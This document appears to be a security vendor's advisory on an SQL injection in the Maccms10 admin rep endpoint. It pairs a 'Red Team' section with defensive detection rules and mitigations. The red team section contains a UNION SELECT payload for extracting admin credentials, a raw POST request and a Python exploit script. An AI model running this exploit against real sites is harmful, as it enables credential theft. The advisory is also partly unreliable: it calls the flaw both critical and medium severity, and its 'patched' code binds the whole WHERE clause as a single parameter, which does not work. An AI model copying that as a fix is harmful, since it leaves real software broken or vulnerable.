CVE-2025-10122

Executive Summary

CVE-2025-10122 is a critical SQL Injection vulnerability discovered in Maccms10 version 2025.1000.4050. The flaw resides in the rep function within the application/admin/controller/Database.php file. An attacker can manipulate the where argument to inject arbitrary SQL commands, leading to unauthorized data access and potential data manipulation. The vulnerability is remotely exploitable and has a public proof-of-concept (PoC), increasing the risk of active exploitation. No official patch is currently available, making immediate mitigation measures essential.

CVSS Breakdown & Threat Level

• CVSS Score: 4.7 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
• Attack Vector: Network (AV:N) – Exploitable remotely.
• Attack Complexity: Low (AC:L) – No special conditions required.
• Privileges Required: None (PR:N) – No authentication needed.
• User Interaction: None (UI:N) – No user action required.
• Scope: Unchanged (S:U) – Impact confined to the vulnerable component.
• Confidentiality Impact: Low (C:L) – Limited data exposure.
• Integrity Impact: Low (I:L) – Limited data modification.
• Availability Impact: None (A:N) – No denial of service.

Threat Level: Medium. The low complexity and remote exploitability make this a viable target for attackers, especially given the public PoC.

Deep Dive & Mechanics

The vulnerability is a classic SQL injection in the rep function of Database.php. The where parameter is directly concatenated into an SQL query without proper sanitization or parameterization. An attacker can inject SQL commands by crafting a malicious where value, such as:

1=1 UNION SELECT username,password FROM admin

This allows the attacker to extract sensitive data from the database, including administrator credentials. The injection point is in the rep function, which is likely used for database repair or replacement operations.

Root Cause: Lack of input validation and prepared statements. The where argument is passed directly to the SQL query builder without escaping or parameterization.

Vulnerable vs. Patched Code

Vulnerable Code (Maccms10 2025.1000.4050):

// application/admin/controller/Database.php
public function rep() {
    $where = input('where');
    $sql = "SELECT * FROM `table` WHERE " . $where;
    db()->query($sql);
}

Patched Code (Hypothetical):

// application/admin/controller/Database.php
public function rep() {
    $where = input('where');
    // Use parameterized query
    $sql = "SELECT * FROM `table` WHERE ?";
    db()->execute($sql, [$where]);
}

The patched version uses a parameterized query, preventing SQL injection by treating the where value as data, not executable code.

Exploitation & Lab Setup

Red Team (Offensive)

Lab Setup:

1. Install Maccms10 version 2025.1000.4050 on a local server (e.g., XAMPP).
2. Ensure the admin panel is accessible at http://localhost/admin.

Exploitation Steps:

1. Identify the vulnerable endpoint: http://localhost/admin/database/rep.
2. Craft a malicious where parameter to extract data:

   1=1 UNION SELECT username,password FROM admin
   

3. Send the request:

   POST /admin/database/rep HTTP/1.1
   Host: localhost
   Content-Type: application/x-www-form-urlencoded
   
   where=1%3D1%20UNION%20SELECT%20username%2Cpassword%20FROM%20admin
   

4. The response will contain the admin credentials in the output.

Automated Exploit (Python):

import requests

url = "http://localhost/admin/database/rep"
payload = "1=1 UNION SELECT username,password FROM admin"
data = {"where": payload}
response = requests.post(url, data=data)
print(response.text)

Blue Team (Defensive)

Detection:

• Monitor for unusual SQL queries in database logs.
• Look for HTTP requests to /admin/database/rep with suspicious where parameters.
• Use WAF rules to block SQL injection patterns.

Mitigation:

• Immediately restrict access to the admin panel (e.g., IP whitelisting).
• Apply virtual patching via WAF.
• Upgrade to a patched version once available.

Indicators of Compromise (IOCs)

• Network:
  • HTTP POST requests to /admin/database/rep with where parameter containing SQL keywords (UNION, SELECT, etc.).
  • Unusual database queries in logs (e.g., SELECT * FROM table WHERE 1=1 UNION...).
• File:
  • Modified application/admin/controller/Database.php (if attacker patches).
  • Suspicious files in the web root (e.g., webshells).
• System:
  • Unexpected database user activity.
  • New admin accounts in Maccms10.

Detection Engineering

YARA Rule

rule CVE_2025_10122_SQLi {
    meta:
        description = "Detects SQL injection attempts targeting CVE-2025-10122"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-10122"
    strings:
        $s1 = "where=" nocase
        $s2 = "UNION" nocase
        $s3 = "SELECT" nocase
        $s4 = "FROM" nocase
        $s5 = "admin" nocase
    condition:
        all of ($s1, $s2, $s3, $s4, $s5)
}

Sigma Rule

title: CVE-2025-10122 SQL Injection Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects SQL injection attempts against Maccms10 Database.php rep function
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        c-uri: '/admin/database/rep'
        cs-uri-query|contains: 'where='
        cs-uri-query|contains|all:
            - 'UNION'
            - 'SELECT'
            - 'FROM'
    condition: selection
falsepositives:
    - Legitimate admin database operations (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-10122 SQL Injection Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/admin/database/rep"; http_uri; content:"where="; http_client_body; content:"UNION"; http_client_body; content:"SELECT"; http_client_body; content:"FROM"; http_client_body; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate Actions:

   • Restrict access to the admin panel via firewall or .htaccess.
   • Apply a WAF rule to block SQL injection patterns.
   • Monitor logs for exploitation attempts.

2. Long-term Fix:

   • Upgrade to a patched version of Maccms10 once released.
   • Implement parameterized queries in all database interactions.
   • Conduct a security audit of the entire codebase.

3. Workaround:

   • Disable the rep function temporarily by removing or renaming the Database.php file.
   • Use input validation to allow only alphanumeric characters in the where parameter.

Valters IT
Securing Digital Frontiers